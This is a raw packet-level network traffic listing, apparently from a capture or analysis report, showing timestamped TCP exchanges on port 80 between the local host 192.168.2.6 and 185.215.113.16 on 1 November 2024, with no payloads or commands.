Nov 1, 2024 03:45:26.877609015 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877610922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877629995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877645969 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877720118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877732038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877795935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877811909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877829075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877830982 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877830982 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877841949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877866983 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877922058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877928972 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.877935886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877948046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.877958059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878019094 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878019094 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878021002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878034115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878072023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878083944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878196955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878207922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878220081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878221989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878232002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878242970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878257990 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878269911 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878304958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878346920 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878381968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878395081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878405094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878417969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878427982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878451109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878568888 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878582954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878593922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878604889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878614902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878638029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878643036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878649950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878667116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878720045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878760099 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878801107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878813028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878909111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.878951073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878962994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878973007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878984928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.878997087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879009008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879060984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879141092 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879184008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879194975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879204988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879216909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879229069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879245996 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879296064 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879450083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879465103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879476070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879487038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879498005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879508018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879574060 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879589081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879625082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879729986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879741907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879751921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879765987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879770041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879782915 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879786968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879800081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879812002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879823923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879834890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879846096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.879854918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879854918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.879883051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880050898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880084038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880095959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880096912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880112886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880152941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880333900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880345106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880354881 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880364895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880373955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880377054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880387068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880388975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880403042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880413055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880424976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880439997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880444050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880444050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880444050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880455017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880466938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880516052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880676985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880688906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880698919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880728006 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880803108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880841970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880853891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.880907059 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880907059 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.880922079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.920075893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.920106888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.920164108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.920172930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.920192003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.920224905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.947494030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947515965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947525978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947563887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.947591066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947601080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.947606087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947632074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947643995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947674990 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.947705984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.947712898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947724104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947818041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.947834015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947845936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947855949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947868109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947880030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947890043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.947910070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.947910070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.947946072 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948029995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948043108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948054075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948090076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948182106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948195934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948205948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948216915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948235989 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948242903 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948256016 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948316097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948343039 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948371887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948384047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948409081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948421001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948452950 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948476076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948548079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948560953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948576927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948587894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948597908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948606968 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948610067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948621035 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948690891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948698044 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948703051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948714018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948738098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948786020 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948786974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948797941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948808908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948832989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948847055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948860884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948872089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948883057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.948936939 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.948936939 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.992345095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992366076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992377996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992458105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992470980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992482901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992501020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992551088 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.992583036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992594004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992604017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992620945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.992620945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.992679119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992691040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992712021 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.992788076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992799044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992835999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.992932081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992943048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992953062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.992991924 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993017912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993061066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993071079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993081093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993104935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993117094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993128061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993139029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993149996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993154049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993154049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993154049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993161917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993191957 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993217945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993284941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993295908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993307114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993346930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993359089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993367910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993424892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993424892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993477106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993489027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993499041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993511915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993540049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993578911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993590117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993609905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993674994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993688107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993699074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993709087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993721008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993788004 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993788004 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993846893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993858099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993868113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993879080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993890047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993901014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993912935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993922949 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993922949 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993925095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.993957043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.993993998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994034052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994043112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994100094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994108915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994131088 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994155884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994168043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994180918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994242907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994255066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994265079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994277000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994292021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994292021 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994292021 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994306087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994317055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994328022 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994328976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994353056 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994539022 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994551897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994561911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994573116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994589090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994590998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994590998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994604111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994616032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994626045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994637012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994647026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994657993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994663000 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994663000 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994663000 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994668007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994680882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.994700909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994812012 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.994939089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995013952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995024920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995035887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995045900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995085001 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.995126963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.995157957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995176077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995186090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995213985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995224953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995235920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995246887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.995297909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995302916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.995302916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.995311022 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995342016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995353937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995362997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995373964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995384932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995397091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995409966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:26.995434046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.995434046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:26.995434046 CET	49750	80	192.168.2.6	185.215.113.16
